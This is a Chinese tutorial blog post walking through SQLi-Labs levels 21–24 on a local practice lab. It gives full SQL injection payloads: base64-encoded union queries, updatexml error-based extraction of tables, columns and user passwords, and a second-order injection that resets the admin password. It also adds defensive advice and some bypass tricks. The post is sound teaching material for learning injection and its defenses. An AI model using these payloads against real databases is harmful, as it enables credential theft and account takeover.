当前位置: 首页 > article >正文

SQLi-Labs 第21-24关

Less-21 http://127.0.0.1/sqli-labs/Less-21/

1,抓个请求包看看

分析分析cookie被base64+URL编码了,解码之后就是admin

 

2,那么这个网站的漏洞利用方式也是和Less-20关一样的,只是攻击语句要先base64编码,再URL编码(闭合方式需要加上一个括号)

') order by 4 -- -

Jykgb3JkZXIgYnk gNCAtLSAt

所以推断数据表存在3列,接下来爆出数据库名

') union select 1,2,database()#

JykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw==

') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- -

JykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknIC0tIC0=

') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --

JykgdW5pb24gc2VsZWN0IDEsZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSwzIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hPSdzZWN1cml0eScgYW5kIHRhYmxlX25hbWU9J3VzZXJzJyAtLSA=

') union select 1,group_concat(username),group_concat(password) from users --

JykgdW5pb24gc2VsZWN0IDEsZ3JvdXBfY29uY2F0KHVzZXJuYW1lKSxncm91cF9jb25jYXQocGFzc3dvcmQpIGZyb20gdXNlcnMgLS0g

 

Less-22 http://127.0.0.1/sqli-labs/Less-22/index.php

1,这题和Less-21差不多,只不过闭合方式是"双引号

 

Less-23 基于GET过滤注释注入

http://127.0.0.1/sqli-labs/Less-23/index.php

1,抓取请求包看看

提示通过id传一个数值 ?id=1

恶意构造闭合语句的时候,网站直接响应码400(使用注释符也一样)

 

2,尝试构造sql查询语句的逻辑永为真试试

?id=1' and 1=1

然后再这个语句之间插入报错注入的攻击语句

?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1' = '1

部分

作用

示例解释

?id=1'

闭合原始引号:通过单引号结束原SQL语句中的字符串。

假设原查询为 SELECT * FROM users WHERE id='$id',注入后变为 ... id='1' [注入内容] ...

and updatexml(...)

触发错误回显:利用updatexml函数构造错误,泄露数据。

注入恶意SQL函数,将数据(如database())嵌入错误信息。

concat(0x7e, database(), 0x7e)

标记数据边界:用~(0x7e)包裹目标数据,便于提取。

错误信息显示为 XPATH syntax error: '~example_db~'

and '1'='1

闭合剩余引号:确保整个SQL语句语法正确。

原查询可能以单引号结尾,通过'1'='1闭合,避免语法错误。

 

然后再提取表名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1) and '1' = '1

字段名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) and '1' = '1

账户和密码

?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1) and '1' = '1

可以通过burpsuite的Intruder模块进行爆破,逐步改变limit的偏移量就能够实现爆库

 

攻击语句逐层解析

?id=1'
AND updatexml(
  1,
  concat(
    0x7e,
    (SELECT group_concat(column_name)
    FROM information_schema.columns
    WHERE table_schema='security' AND table_name='users'
  ),
  0x7e
),1)
AND '1' = '1

1. 语句结构拆解

代码片段

作用

详细说明

?id=1'

闭合原始查询引号

通过单引号 ' 结束原SQL中的字符串,使后续内容被解析为SQL代码而非普通字符串。

AND updatexml(...)

触发错误回显

利用updatexml函数的XPath语法错误,将查询结果嵌入错误信息中回显。

concat(0x7e, (...), 0x7e)

标记数据边界

使用~(0x7e)包裹查询结果,便于从错误信息中提取目标数据。

SELECT group_concat(column_name) FROM ...

提取列名

从系统表information_schema.columns中获取security.users表的所有列名,合并为单个字符串。

AND '1' = '1

维持语法完整性

闭合末尾引号,确保整个SQL语句语法正确。

2. 核心函数与操作符详解

2.1 updatexml() 函数

  • 语法
    UPDATEXML(xml_target, xpath_expr, new_value)
  • 作用
    修改XML文档的指定节点内容。
  • 攻击利用
  • 当xpath_expr包含非法语法(如~),MySQL会抛出错误,并回显xpath_expr内容。
  • 示例错误
    ERROR 1105 (HY000): XPATH syntax error: '~id,username,password~'

2.2 concat() 函数

  • 语法
    CONCAT(str1, str2, ...)
  • 作用
    将多个字符串连接成一个字符串。
  • 攻击利用
  • 0x7e(~)作为分隔符,标记数据边界。
  • 将查询结果包裹为~data~格式,便于从错误信息中提取。

2.3 group_concat() 函数

  • 语法
    GROUP_CONCAT(column_name SEPARATOR ',')
  • 作用
    将多行查询结果合并为单个字符串,默认以逗号分隔。
  • 攻击利用
  • 合并security.users表的所有列名,一次性提取。
  • 示例结果
    id,username,password,email

2.4 information_schema.columns 系统表

  • 结构

字段名

说明

table_schema

数据库名

table_name

表名

column_name

列名

  • 攻击利用
    通过查询此表获取目标表结构信息,为后续数据窃取做准备。

2.5 WHERE 子句过滤

  • 条件
    table_schema='security' AND table_name='users'
  • 作用
    限定仅查询security数据库下users表的列名。

2.6 单引号闭合与 AND '1'='1

  • 单引号闭合
    1' 结束原查询中的字符串,使注入内容成为合法SQL代码。
  • AND '1'='1:
    闭合末尾单引号并构造永真条件,确保语句语法正确。
  • 原查询可能为
    SELECT * FROM products WHERE id='$id'
  • 注入后逻辑
    SELECT * FROM products WHERE id='1' [注入代码] AND '1'='1'

3. 攻击流程总结

  1. 闭合引号
    通过1'提前闭合原查询字符串,注入恶意代码。
  2. 触发错误回显
    利用updatexml构造非法XPath表达式,使MySQL返回包含敏感数据的错误信息。
  3. 提取列名
    从information_schema.columns中获取users表的所有列名,合并为字符串。
  4. 数据分界
    concat(0x7e, ..., 0x7e)标记数据边界,便于从错误信息中提取内容。
  5. 维持语法正确性
    通过AND '1'='1闭合语句,避免语法错误。

4. 防御措施

防御手段

说明

示例

参数化查询

使用预编译语句分离代码与数据,彻底杜绝拼接。

Python: cursor.execute("SELECT * FROM users WHERE id = %s", (id,))

输入过滤

过滤特殊字符(如'、"、\)。

PHP: $id = mysqli_real_escape_string($conn, $_GET['id']);

错误信息隐藏

关闭数据库错误回显,返回通用错误页面。

PHP: ini_set('display_errors', 0);

最小权限原则

数据库账号仅授予必要权限(如禁止普通用户访问information_schema)。

MySQL: GRANT SELECT ON security.users TO 'app_user'@'localhost';

Web应用防火墙

部署WAF拦截恶意注入特征(如updatexml、concat(0x7e))。

规则示例: 检测information_schema访问行为。

5. 高级绕过与对抗

  • 绕过information_schema限制
    MySQL 5.7+可通过sys.schema_table_statistics替代information_schema。
    SELECT group_concat(column_name) FROM sys.schema_table_statistics WHERE table_name='users'
  • 分段提取长数据
    使用substr()和limit绕过32字节限制。
    concat(0x7e, substr((SELECT group_concat(column_name) FROM ...),1,20),0x7e)
  • 盲注替代错误回显
    若错误回显被禁用,使用布尔盲注或时间盲注提取数据。
    AND IF(ascii(substr(database(),1,1))=115, sleep(2), 1)

总结

该攻击通过精心构造的updatexml和concat函数,利用MySQL错误回显机制提取敏感数据。防御需从代码层(参数化查询)、配置层(错误隐藏)、权限层(最小权限)多维度加固,彻底阻断注入路径。

 

Less-24 POST型二次注入/存储型注入

http://127.0.0.1/sqli-labs/Less-24/

1. 二次注入(Second-Order SQL Injection)

定义

二次注入是指攻击者通过合法操作(如注册、评论)将恶意数据存入数据库后,这些数据在后续的另一个独立操作中被读取并拼接到SQL查询中,从而触发注入漏洞。

攻击流程

  1. 存储阶段:攻击者提交恶意数据(如含SQL片段的用户名),数据经转义后存入数据库。
    示例:注册用户名为 admin' -- ,转义后存储为 admin\' -- 。
  2. 触发阶段:应用程序在另一功能(如密码重置)中使用该数据,未经转义直接拼接SQL。
    示例:查询 SELECT * FROM users WHERE username = 'admin' -- ',-- 注释后续条件。

特点

  • 需要两次操作:第一次存储数据,第二次触发漏洞。
  • 数据在存储时可能被转义,但使用时未正确处理。

防御

  • 对所有数据(包括内部数据)使用参数化查询。
  • 避免在后续操作中信任已存储的数据。

2. 存储型注入(Stored SQL Injection)

定义

存储型注入是指恶意数据被持久化到数据库后,在应用程序读取并使用这些数据时触发的注入攻击,通常影响所有访问相关数据的用户。

攻击流程

  1. 存储阶段:攻击者在输入(如评论、日志)中插入恶意SQL代码。
    示例:评论内容为 ' UNION SELECT密码 FROM users --。
  2. 触发阶段:应用程序读取数据并拼接SQL查询,导致恶意代码执行。
    示例:管理员后台查询评论时触发 UNION 攻击,泄露敏感数据。

特点

  • 数据存储后,每次访问都可能触发攻击(如多次查询、多用户受影响)。
  • 常见于内容展示、管理后台等功能。

防御

  • 严格校验和过滤所有用户输入。
  • 使用ORM框架或预编译语句,避免动态拼接SQL。

关键区别

特征

二次注入

存储型注入

触发场景

不同功能的两次操作(如注册+重置密码)

同一或不同功能的多次访问(如评论展示)

数据使用方式

数据在另一流程中被误用

数据被直接读取并触发漏洞

影响范围

通常针对特定功能

可能影响所有访问者

 

1,点击New User click here?注册新用户

新注册账号名为admin' #密码为123456

注册成功,再以账号admin’#密码123456登录后修改密码

将密码由原来的123456修改为test

最后以账号admin密码test登录成功

二次注入漏洞利用成功(相当于给admin用户在没有验证的情况下篡改了它的密码)

 

分析代码中的二次注入成因

以下代码存在 二次注入(Second-Order SQL Injection) 的风险,具体成因如下:

1. 关键风险点:$_SESSION["username"] 的使用

在代码中,用户名直接通过 <?php echo $_SESSION["username"]; ?> 显示,且 假设在密码修改功能(pass_change.php)中会使用该值拼接 SQL 查询

例如,pass_change.php 中可能存在如下代码:

$username = $_SESSION["username"];
$current_password = $_POST["current_password"];
$new_password = $_POST["password"];

// 动态拼接 SQL 语句(危险!)
$sql = "UPDATE users SET password = '$new_password'
        WHERE username = '$username'
        AND password = '$current_password'";

2. 攻击场景推演

阶段一:存储恶意数据(注册/用户创建)

假设攻击者注册用户时提交用户名为:

admin' --

  • 注册逻辑可能对输入转义(如 mysql_real_escape_string),存入数据库的值为 admin\' --。

阶段二:触发注入(密码修改)

  1. 攻击者登录后,$_SESSION["username"] 值为 admin' --(未转义原始输入)。
  2. 修改密码时,代码拼接以下 SQL:
    UPDATE users SET password = 'hacked'
    WHERE username = 'admin' -- ' AND password = 'any_value'
  3. -- 注释掉后续条件,导致 无需验证原密码即可修改密码

3. 漏洞根源

  • 信任已存储的数据:假设 $_SESSION["username"] 是安全的,直接用于 SQL 拼接。
  • 未参数化查询:动态拼接 SQL 时未使用预编译语句,导致恶意字符激活。

4. 修复建议

  1. 参数化查询
    使用 PDO 或 MySQLi 的预处理语句重构 SQL:
    $stmt = $pdo->prepare("UPDATE users SET password = ?
                          WHERE username = ? AND password = ?");
    $stmt->execute([$new_password, $username, $current_password]);
  2. 数据一致性处理
  • 注册时统一过滤/转义,使用时仍需参数化,避免信任存储数据。
  1. 输入输出验证
  • 用户名格式限制(如禁止特殊字符)。
  • 关键操作(如密码修改)强制二次认证。

总结

二次注入的成因是:恶意数据在存储时被部分处理(如转义),但在后续使用场景中因未参数化查询而被重新激活。通过改用预编译语句,可彻底杜绝此类漏洞。

 

 

 

相关文章:

SQLi-Labs 第21-24关

Less-21 http://127.0.0.1/sqli-labs/Less-21/ 1&#xff0c;抓个请求包看看 分析分析cookie被base64URL编码了&#xff0c;解码之后就是admin 2&#xff0c;那么这个网站的漏洞利用方式也是和Less-20关一样的&#xff0c;只是攻击语句要先base64编码&#xff0c;再URL编码&…...

Oracle — 数据管理

介绍 Oracle数据库作为全球领先的关系型数据库管理系统&#xff0c;其数据管理能力以高效性、安全性和智能化为核心。系统通过多维度技术实现海量数据的存储与实时处理&#xff0c;支持高并发事务操作与复杂分析查询&#xff0c;满足企业关键业务需求。在安全领域&#xff0c;O…...

在 Qt Creator 中为 QDockWidget 设置隐藏和显示按钮

在 Qt Creator 中为 QDockWidget 设置隐藏和显示按钮 是的&#xff0c;QDockWidget 内置了隐藏和显示的功能&#xff0c;可以通过以下几种方式实现&#xff1a; 1. 使用 QDockWidget 自带的关闭按钮 QDockWidget 默认带有一个关闭按钮&#xff0c;可以通过以下代码启用&…...

LS-NET-012-TCP的交互过程详解

LS-NET-012-TCP的交互过程详解 附加&#xff1a;TCP如何保障数据传输 TCP的交互过程详解 一、TCP协议核心交互流程 TCP协议通过三次握手建立连接、数据传输、四次挥手终止连接三大阶段实现可靠传输。整个过程通过序列号、确认应答、窗口控制等机制保障传输可靠性。 1.1 三次…...

每日算法刷题Day1 5.9:leetcode数组3道题,用时1h

1.LC寻找数组的中心索引(简单) 数组和字符串 - LeetBook - 力扣&#xff08;LeetCode&#xff09;全球极客挚爱的技术成长平台 思想: 计算总和和左侧和&#xff0c;要让左侧和等于右侧和&#xff0c;即左侧和总和-左侧和-当前数字 代码 c代码: class Solution { public:i…...

解构认知边界:论万能方法的本体论批判与方法论重构——基于跨学科视阈的哲学-科学辩证

一、哲学维度的本体论批判 &#xff08;1&#xff09;理性主义的坍缩&#xff1a;从笛卡尔幻想到哥德尔陷阱 笛卡尔在《方法论》中构建的理性主义范式&#xff0c;企图通过"普遍怀疑-数学演绎"双重机制确立绝对方法体系。然而哥德尔不完备定理&#xff08;Gdel, 19…...

PVE WIN10直通无线网卡蓝牙

在 Proxmox VE (PVE) 中直通 Intel AC3165 无线网卡的 **蓝牙模块**&#xff08;通常属于 USB 设备&#xff0c;而非 PCIe 设备&#xff09;需要特殊处理&#xff0c;因为它的蓝牙部分通常通过 USB 连接&#xff0c;而 Wi-Fi 部分才是 PCIe 设备。以下是详细步骤&#xff1a; …...

第六节第二部分:抽象类的应用-模板方法设计模式

模板方法设计模式的写法 建议使用final关键字修饰模板方法 总结 代码&#xff1a; People(父类抽象类) package com.Abstract3; public abstract class People {/*设计模板方法设计模式* 1.定义一个模板方法出来*/public final void write(){System.out.println("\t\t\t…...

在另一个省发布抖音作品,IP属地会随之变化吗?

你是否曾有过这样的疑惑&#xff1a;出差旅游时在外地发布了一条抖音视频&#xff0c;评论区突然冒出“IP怎么显示xx省了&#xff1f;”的提问&#xff1f;随着各大社交平台上线“IP属地”功能&#xff0c;用户的地理位置标识成为公开信息&#xff0c;而属地显示的“灵敏性”也…...

卷积神经网络-从零开始构建一个卷积神经网络

目录 一、什么是卷积神经网络CNN 1.1、核心概念 1.2、卷积层 二、什么是卷积计算 2.1、卷积计算的例子: 2.2、点积 2.3、卷积与点积的关系 2.4、Padding(填充) 2.4.1、Padding的主要作用 1、控制输出特征图尺寸 2、保留边缘信息 3. 支持深层网络训练 2.4.2、Str…...

力扣-101.对称二叉树

题目描述 给你一个二叉树的根节点 root &#xff0c; 检查它是否轴对称。 class Solution { public:bool check(TreeNode* p,TreeNode* q){if(!p&&!q)return true;if(!p&&q||!q&&p)return false;if(p->val!q->val)return false;return check(p…...

Tomcat和Nginx的主要区别

1、功能定位 Nginx&#xff1a;核心是高并发HTTP服务器和反向代理服务器&#xff0c;擅长处理静态资源&#xff08;如HTML、图片&#xff09;和负载均衡。Tomcat&#xff1a;是Java应用服务器&#xff0c;主要用于运行动态内容&#xff08;如JSP、Servlet&#xff09;&#xf…...

贪心算法:最小生成树

假设无向图为&#xff1a; A-B:1 A-C:3 B-C:1 B-D:4 C-D:1 C-E:5 D-E:6 一、使用Prim算法&#xff1a; public class Prim {//声明了两个静态常量&#xff0c;用于辅助 Prim 算法的实现private static final int V 5;//点数private static final int INF Integer.MA…...

uniapp-文件查找失败:‘@dcloudio/uni-ui/lib/uni-icons/uni-icons.vue‘

uniapp-文件查找失败&#xff1a;‘dcloudio/uni-ui/lib/uni-icons/uni-icons.vue’ 今天在HBuilderX中使用uniapp开发微信小程序时遇到了这个问题&#xff0c;就是找不到uni-ui组件 当时创建项目&#xff0c;选择了一个中间带的底部带选项卡模板&#xff0c;并没有选择内置u…...

Vue2.x 和 Vue3.x 对比-差异

Vue3的优点 diff算法的提升 vue2中的虚拟DOM是全量的对比&#xff0c;也就是不管是写死的还是动态节点都会一层层比较&#xff0c;浪费时间在静态节点上。 vue3新增静态标记&#xff08;patchflag &#xff09;&#xff0c;与之前虚拟节点对比&#xff0c;只对比带有patch fla…...

MacOS 用brew 安装、配置、启动Redis

MacOS 用brew 安装、配置、启动Redis 一、安装 brew install redis 二、启动 brew services start redis 三、用命令行检测 set name tom get name...

agentmain对业务的影响

前面一篇已经说了java agent技术主要有premain和agentmain两种形式&#xff0c;如果大部分业务已经在线上运行的话&#xff0c;不方便用premain的方式来实现&#xff0c;所以agentmain的方式是更加通用、灵活的 由于RASP是与用户业务运行在同一个jvm中的 &#xff0c;所以RASP…...

精益数据分析(56/126):创业阶段的划分与精益数据分析实践

精益数据分析&#xff08;56/126&#xff09;&#xff1a;创业阶段的划分与精益数据分析实践 在创业和数据分析的探索之旅中&#xff0c;理解创业阶段的划分以及与之对应的精益数据分析方法至关重要。今天&#xff0c;依旧怀揣着与大家共同进步的心态&#xff0c;深入研读《精…...

archlinux中挂载macOS的硬盘

问&#xff1a; 你好&#xff0c;我如何在archlinux中挂载macOS的硬盘呢&#xff1f;/dev/sda4 5344161792 7813773311 2469611520 1.2T Apple HFS/HFS AI回答&#xff1a; 你好&#xff01;在 Arch Linux 中挂载 macOS 的 HFS 或 HFS 硬盘&#xff08;例如 /dev/sda4&#x…...

JVM Optimization Learning(七)-GC

一、JVM Optimization 1、进程溢出调查 模拟 如何开启GC日志 如何开启GC日志 一般来说&#xff0c;JDK8及以下版本通过以下参数来开启GC日志&#xff1a; -XX:PrintGCDetails -XX:PrintGCDateStamps -Xloggc:gc.log如果是在JDK9及以上的版本&#xff0c;则格式略有不同&…...

uniapp小程序轮播图高度自适应优化详解

在微信小程序开发过程中&#xff0c;轮播图组件(swiper)是常用的UI元素&#xff0c;但在实际应用中经常遇到高度不匹配导致的空白问题。本文详细记录了一次轮播图高度优化的完整过程&#xff0c;特别是针对固定宽高比图片的精确适配方案。 问题背景 在开发"零工市场&quo…...

CSS从入门到精通:全面解析CSS核心知识体系

引言 CSS&#xff08;层叠样式表&#xff09;是前端开发的基石&#xff0c;掌握其核心知识能显著提升页面设计与布局能力。本文基于系统化学习资料&#xff0c;深入讲解CSS语法、选择器优先级、盒子模型、定位等核心概念&#xff0c;结合代码示例与实用技巧&#xff0c;助你从入…...

基于ESP32控制的机器人摄像头车

DIY Wi-Fi 控制的机器人摄像头车&#xff1a;从零开始的智能探索之旅 在当今科技飞速发展的时代&#xff0c;机器人技术已经逐渐走进了我们的生活。今天&#xff0c;我将带你一起探索如何制作一个 Wi-Fi 控制的机器人摄像头车&#xff0c;它不仅可以远程操控&#xff0c;还能通…...

基于STM32的LCD信号波形和FFT频谱显示

一、项目准备 主要利用LCD驱动中的画点和画连线函数&#xff0c;驱动是正点原子给我写好了的画点和画线的函数等些相关函数 void LCD_Draw_Circle(u16 x0,u16 y0,u8 r); //画圆 void LCD_DrawLine(u16 x1, u16 y1, u16 x2, u16 y2); //画线 二、画波形图函数实…...

(9)被宏 QT_DEPRECATED_VERSION_X_6_0(“提示内容“) 修饰的函数,在 Qt6 中使用时,会被编译器提示该函数已过时

&#xff08;1&#xff09;起因是看到 Qt 的官方源代码里有这样的写法&#xff1a; #if QT_DEPRECATED_SINCE(6, 0) //里面的都是废弃的成员函数QT_WARNING_PUSHQT_WARNING_DISABLE_DEPRECATEDQT_DEPRECATED_VERSION_X_6_0("Use the constructor taking a QMetaType inst…...

关于mac配置hdc(鸿蒙)

关于mac配置hdc(鸿蒙) 在最开始配置的hdc -v时候老是出现格式不匹配 于是乎在网上找官网也不行&#xff0c;最后在csdn上找到了这篇文章Mac配置hdc才有的头绪 环境变量的问题 自己做一个简单的总结 首先在访达里面打开ide 打开之后输入下面的命令&#xff0c;一步一步的找…...

是 OpenCV 的 CUDA 模块中用于在 GPU 上对图像或矩阵进行转置操作函数cv::cuda::transpose

操作系统&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 编程语言&#xff1a;C11 算法描述 cv::cuda::transpose 是 OpenCV 的 CUDA 模块中的一个函数&#xff0c;用于在 GPU 上对图像或矩阵进行转置操作&#xff08;Transpose&#xff0…...

SQL常用操作大全:复制表、跨库查询、删除重复数据

大家好&#xff0c;欢迎来到程序视点&#xff01;我是你们的老朋友.小二&#xff01; SQL常用操作精华总结 表结构与数据操作 复制表结构&#xff1a; SELECT * INTO b FROM a WHERE 1<>1 (SQL Server专用) SELECT TOP 0 * INTO b FROM a (更通用) 拷贝表数据&#…...

服务器中存储空间不足该怎么办?

服务器作为存储数据信息的重要网络设备&#xff0c;随着企业业务的不断拓展&#xff0c;所需要存储的数据信息也在不断增加&#xff0c;最终会导致服务器中存储空间不足&#xff0c;这不仅会影响到服务器系统性能&#xff0c;还会造成业务无法正常执行&#xff0c;那么&#xf…...

PPT图表怎么制作?说5款自己使用过的PPT图表制作工具

PPT图表怎么制作&#xff1f;准备一份吸引人的PPT演示文稿时&#xff0c;图表往往能起到画龙点睛的作用。但是&#xff0c;对于很多人来说&#xff0c;制作既美观又专业的图表却不是一件容易的事情。今天&#xff0c;我们就来聊聊如何利用一些优秀的工具制作PPT图表。 1、亿图图…...